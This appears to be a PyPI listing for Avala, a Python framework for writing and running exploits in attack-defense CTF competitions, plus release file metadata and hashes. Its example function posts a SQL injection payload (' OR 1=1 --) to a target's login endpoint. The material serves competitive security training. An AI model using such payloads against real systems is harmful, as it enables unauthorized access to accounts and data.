Skip to main content

Avala client for writing and running exploits

Project description

⛰️ Avala — Develop and run exploits rapidly in A/D

Avala is a specialized tool built for rapid developing, testing, running and monitoring exploits in attack-defense CTF competitions. The goal of Avala is to take the technical burden off the team players, enabling them to focus on writing exploits and patching vulnerabilities.

from avala import exploit
import json
import requests


@exploit(service="foobar")
def attack(target: str, flag_ids: str):
    url = f"http://{target}:5000/login"
    username = json.loads(flag_ids)["username"]

    payload = {"username": username, "password": "' OR 1=1 --"}
    response = requests.post(url, json=payload)

    return response.text

The development of Avala was heavily influenced by the practical experiences and valuable insights gathered by the Serbian National ECSC Team 🇷🇸 who utilized the tool in many A/D competitions.

Documentation

Documentation is available at lazicdusan.com/avala.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

avala_ad-0.1.0.tar.gz (36.8 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

avala_ad-0.1.0-py3-none-any.whl (40.5 kB view details)

Uploaded Python 3

File details

Details for the file avala_ad-0.1.0.tar.gz.

File metadata

  • Download URL: avala_ad-0.1.0.tar.gz
  • Upload date:
  • Size: 36.8 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: uv/0.8.15

File hashes

Hashes for avala_ad-0.1.0.tar.gz
Algorithm Hash digest
SHA256 0dfa1ac4cb3816d2c32ae4b1de287e17e2d9063d11d2d2fb299ff4e27de7380d
MD5 8f82fd44bd0ba3b6ba92f130ede730cf
BLAKE2b-256 c009ea1e42a23d94bcb2424369d9e1e04f218ef07db2aa0313e5e0bf298de989

See more details on using hashes here.

File details

Details for the file avala_ad-0.1.0-py3-none-any.whl.

File metadata

  • Download URL: avala_ad-0.1.0-py3-none-any.whl
  • Upload date:
  • Size: 40.5 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: uv/0.8.15

File hashes

Hashes for avala_ad-0.1.0-py3-none-any.whl
Algorithm Hash digest
SHA256 c0ed4f249ed653d2835a7e0f3a6966a637ada8853b25917c8bdb0e302ffa9c79
MD5 5b00c51690289df603490d4c48ce2698
BLAKE2b-256 9adf761b5321d982fd5a33fddc43441cb1104f74b77ba9edffab39fc49b8b4e2

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page